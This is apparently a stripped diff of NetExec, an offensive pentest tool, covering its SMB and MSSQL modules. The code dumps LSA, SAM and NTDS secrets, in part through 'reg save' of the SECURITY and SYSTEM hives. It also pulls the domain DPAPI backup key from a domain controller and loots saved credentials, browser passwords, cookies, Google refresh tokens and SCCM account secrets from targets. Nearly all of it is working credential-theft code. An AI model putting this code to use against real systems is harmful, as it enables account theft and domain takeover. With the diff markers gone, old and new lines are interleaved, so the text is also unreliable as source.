self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
for r in rows:
mod = r.get("modify_date", "")
if mod and hasattr(mod, "strftime"):
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
self.logger.highlight(f"Total: {len(rows)} table(s)")
return
@@ -599,7 +591,7 @@ class mssql(connection):
SAM.export(output_filename)
@requires_admin
def lsa(self, quiet=False):
def lsa(self):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
@@ -621,53 +613,15 @@ class mssql(connection):
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
return
if not quiet:
self.logger.display("Dumping LSA secrets")
self.logger.display("Dumping LSA secrets")
local_operations = LocalOperations(f"{output_filename}.system")
boot_key = local_operations.getBootKey()
def lsa_secret_callback(_, secret):
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
LSA = LSASecrets(
f"{output_filename}.security",
boot_key,
None,
isRemote=None,
perSecretCallback=lsa_secret_callback,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
@requires_admin
def dpapi(self):
self.dpapi_triage.triage_dpapi()
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
address=self.remoteName,
port=self.port,
hashes=f":{self.nthash}",
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
use_kcache=self.use_kcache,
aesKey=self.aesKey,
db_auth=self.args.local_auth,
)
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
+1 -156
View File
@@ -1,7 +1,6 @@
import warnings
import base64
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import SAWarning
from sqlalchemy.orm import declarative_base
@@ -20,8 +19,6 @@ class database(BaseDB):
self.HostsTable = None
self.UsersTable = None
self.AdminRelationsTable = None
self.DpapiBackupkeyTable = None
self.DpapiSecretsTable = None
super().__init__(db_engine)
@@ -78,32 +75,6 @@ class database(BaseDB):
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
)
class DpapiSecret(Base):
__tablename__ = "dpapi_secrets"
id = Column(Integer)
host = Column(String)
dpapi_type = Column(String)
windows_user = Column(String)
username = Column(String)
password = Column(String)
url = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
)
class DpapiBackupKey(Base):
__tablename__ = "dpapi_backupkey"
id = Column(Integer)
domain = Column(String)
pvk = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("domain"),
)
@staticmethod
def db_schema(db_conn):
Base.metadata.create_all(db_conn)
@@ -113,8 +84,6 @@ class database(BaseDB):
self.UsersTable = self.reflect_table(self.User)
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
"""
@@ -310,20 +279,6 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -398,113 +353,3 @@ class database(BaseDB):
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
Add domain backupkey
:domain is the domain fqdn
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
backup_key = {"domain": domain, "pvk": pvk_encoded}
try:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
self.db_execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
def get_domain_backupkey(self, domain: str | None = None):
"""
Get domain backupkey
:domain is the domain fqdn
"""
q = select(self.DpapiBackupkeyTable)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
if len(results) > 0:
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
return results
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
self,
host: str,
dpapi_type: str,
windows_user: str,
username: str,
password: str,
url: str = "",
):
"""Add dpapi secrets to nxcdb"""
secret = {
"host": host,
"dpapi_type": dpapi_type,
"windows_user": windows_user,
"username": username,
"password": password,
"url": url,
}
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
self.db_execute(q, [secret]) # .scalar()
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
filter_term=None,
host: str | None = None,
dpapi_type: str | None = None,
windows_user: str | None = None,
username: str | None = None,
url: str | None = None,
):
"""Get dpapi secrets from nxcdb"""
q = select(self.DpapiSecretsTable)
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecretsTable.c.host == host)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
elif windows_user:
like_term = func.lower(f"%{windows_user}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif username:
like_term = func.lower(f"%{username}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
-3
View File
@@ -16,9 +16,6 @@ def proto_args(parser, parents):
cgroup = mssql_parser.add_argument_group("Credential Gathering")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cgroup = mssql_parser.add_argument_group("Command Execution")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
+264 -60
View File
@@ -62,6 +62,8 @@ from nxc.config import process_secret, host_info_colors, check_guest_account, di
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
from nxc.protocols.smb.wmiexec import WMIEXEC
from nxc.protocols.smb.atexec import TSCH_EXEC
@@ -74,13 +76,17 @@ from nxc.protocols.smb.samrfunc import SamrFunc
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.helpers.logger import highlight
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.dpapi import DPAPITriage
from nxc.helpers.rpc import NXCRPCConnection
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.misc import detect_if_ip
from nxc.protocols.ldap.resolution import LDAPResolution
from dploot.lib.network.smb import SMBTarget as Target
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.cng import CngTriage
from dploot.lib.target import Target
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from time import time, ctime, sleep
from traceback import format_exc
@@ -133,12 +139,12 @@ class smb(connection):
self.nthash = ""
self.remote_ops = None
self.bootkey = None
self.dpapi_system_key = None
self.smbv1 = None # Check if SMBv1 is supported
self.smbv3 = None # Check if SMBv3 is supported
self.is_timed_out = False
self.signing = False
self.smb_share_name = smb_share_name
self.pvkbytes = None
self.no_da = None
self.no_ntlm = False
self.null_auth = False
@@ -148,8 +154,6 @@ class smb(connection):
self.tgt = None
self.tgs = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
def proto_logger(self):
@@ -2324,32 +2328,255 @@ class smb(connection):
@requires_admin
def sccm(self):
self.dpapi_triage.triage_sccm()
@requires_admin
def dpapi(self):
self.dpapi_triage.triage_dpapi()
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
address=self.remoteName,
target=self.hostname + "." + self.domain if self.kerberos else self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
dc_ip=self.kdcHost,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
if conn is None:
self.logger.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(self, target, conn, user=False)
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", )
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@requires_admin
def dpapi(self):
dump_system = "nosystem" not in self.args.dpapi
if self.args.pvk is not None:
try:
with open(self.args.pvk, "rb") as f:
self.pvkbytes = f.read()
self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
except Exception as e:
self.logger.fail(str(e))
if self.pvkbytes is None:
self.pvkbytes = get_domain_backup_key(self)
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.remoteName,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
dc_ip=self.kdcHost,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler]
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
if conn is None:
self.logger.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system)
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
if dump_system:
credentials_triage.triage_system_credentials()
except Exception as e:
self.logger.debug(f"Error while looting credentials: {e}")
dump_cookies = "cookies" in self.args.dpapi
cng_chromekey = None
try:
cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
try:
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.logger.debug(f"Error while looting browsers: {e}")
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.logger.debug(f"Error while looting vaults: {e}")
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
if self.output_file:
self.output_file.close()
with open(self.output_file_template.format(output_folder="dpapi")) as f:
if sum(1 for _ in f) == 0:
self.logger.fail("No dpapi loot retrieved")
@requires_admin
def list_snapshots(self):
@@ -2366,21 +2593,13 @@ class smb(connection):
self.logger.highlight(f"{drive:<8}{i:<26}")
@requires_admin
def lsa(self, quiet=False):
def lsa(self):
try:
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
self.logger.highlight(secret)
if "_SC_GMSA_{84A78B8C" in secret:
gmsa_id = secret.split("_")[4].split(":")[0]
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
@@ -2390,8 +2609,7 @@ class smb(connection):
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
if not quiet:
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
add_lsa_secret.secrets = 0
@@ -2411,15 +2629,13 @@ class smb(connection):
isRemote=True,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
)
if not quiet:
self.logger.display("Dumping LSA secrets")
self.logger.display("Dumping LSA secrets")
self.output_filename = self.output_file_template.format(output_folder="lsa")
LSA.dumpCachedHashes()
LSA.exportCached(self.output_filename)
LSA.dumpSecrets()
LSA.exportSecrets(self.output_filename)
if not quiet:
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
try:
self.remote_ops.finish()
except Exception as e:
@@ -2438,10 +2654,9 @@ class smb(connection):
NTDSFileName = None
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
printed_kerb_keys_banner = False
printed_trust_keys_banner = False
def add_hash(secret_type, secret, host_id):
nonlocal printed_kerb_keys_banner, printed_trust_keys_banner
nonlocal printed_kerb_keys_banner
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
self.logger.display("Kerberos keys:")
printed_kerb_keys_banner = True
@@ -2452,15 +2667,13 @@ class smb(connection):
else:
add_hash.nt_lm_secrets += 1
is_enabled_account = secret.endswith(" (status=Enabled)")
is_trust_key = " (Incoming" in secret or " (Outgoing" in secret
for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"):
secret = secret.removesuffix(status)
if not self.args.enabled or is_enabled_account or is_trust_key:
if is_trust_key and not printed_trust_keys_banner:
self.logger.display("Trust keys:")
printed_trust_keys_banner = True
# Log the secret based on args
if self.args.enabled:
if "Enabled" in secret:
secret = " ".join(secret.split(" ")[:-1])
self.logger.highlight(secret)
else:
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
self.logger.highlight(secret)
# Filter out computer accounts, history hashes and kerberos keys for adding to db
@@ -2512,27 +2725,18 @@ class smb(connection):
outputFileName=self.output_filename,
justUser=self.args.userntds if self.args.userntds else None,
printUserStatus=True,
trustKeys=self.args.trust_keys,
justTrustKeys=self.args.just_trust_keys,
domainFQDN=self.targetDomain,
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id),
)
try:
if self.args.just_trust_keys:
self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...")
else:
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
NTDS.dump()
ntds_outfile = f"{self.output_filename}.ntds"
if self.args.just_trust_keys:
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys")
else:
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
if self.args.kerberos_keys:
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
if self.args.kerberos_keys:
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
except Exception as e:
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
+3 -17
View File
@@ -3,7 +3,7 @@ import threading
import warnings
from datetime import datetime
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
SAWarning
@@ -428,20 +428,6 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -739,13 +725,13 @@ class database(BaseDB):
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this DPAPI secret ID is valid.
Check if this group ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
+100
View File
@@ -0,0 +1,100 @@
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
def get_domain_backup_key(context):
pvkbytes = None
try:
results = context.db.get_domain_backupkey(context.domain)
except Exception:
context.logger.fail(
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
'workspace create dpapi' then re-run the dpapi option"
)
return False
if len(results) > 0:
context.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
elif context.no_da is None and context.args.local_auth is False:
try:
dc_target = Target.create(
domain=context.domain,
username=context.username,
password=context.password,
target=context.domain, # querying DNS server for domain will return DC
lmhash=context.lmhash,
nthash=context.nthash,
do_kerberos=context.kerberos,
aesKey=context.aesKey,
no_pass=True,
use_kcache=context.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
context.db.add_domain_backupkey(context.domain, pvkbytes)
else:
context.no_da = False
except Exception as e:
context.logger.fail(f"Could not get domain backupkey: {e}")
return pvkbytes
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
masterkeys = []
plaintexts = {}
nthashes = {}
if context.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(context.args.mkfile)
except Exception as e:
context.logger.fail(str(e))
if user:
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
# dploot matches user.lower()
if context.password != "":
plaintexts[context.username.lower()] = context.password
if context.nthash != "":
nthashes[context.username.lower()] = context.nthash
# Collect User and Machine masterkeys
try:
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=dploot_connection,
pvkbytes=context.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
if user:
context.logger.debug("Collecting user masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
if system:
context.logger.debug("Collecting machine masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.logger.debug(f"Could not get masterkeys: {e}")
return masterkeys
def upgrade_to_dploot_connection(target, connection=None):
conn = None
try:
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
conn.connect()
except Exception:
return None
return conn
@@ -11,8 +11,9 @@ from dataclasses import dataclass
from typing import Any
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.network import DPLootConnection
from dploot.lib.smb import DPLootSMBConnection
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
CKA_ID = unhexlify("f8000000000000000000000000000001")
@@ -60,7 +61,7 @@ class FirefoxTriage:
"All Users",
)
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
self.target = target
self.logger = logger
self.conn = conn
@@ -68,13 +69,16 @@ class FirefoxTriage:
self.per_secret_callback = per_secret_callback
def run(self, gather_cookies=False):
if self.conn is None:
upgrade_to_dploot_connection(target=self.target)
firefox_data = []
firefox_cookies = []
# list users
users = self.conn.list_users()
users = self.get_users()
for user in users:
try:
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
@@ -85,18 +89,18 @@ class FirefoxTriage:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
cookies_data = self.conn.readFile(self.share, cookies_path)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.read_file(path=logins_path, share=self.share)
logins_data = self.conn.readFile(self.share, logins_path)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
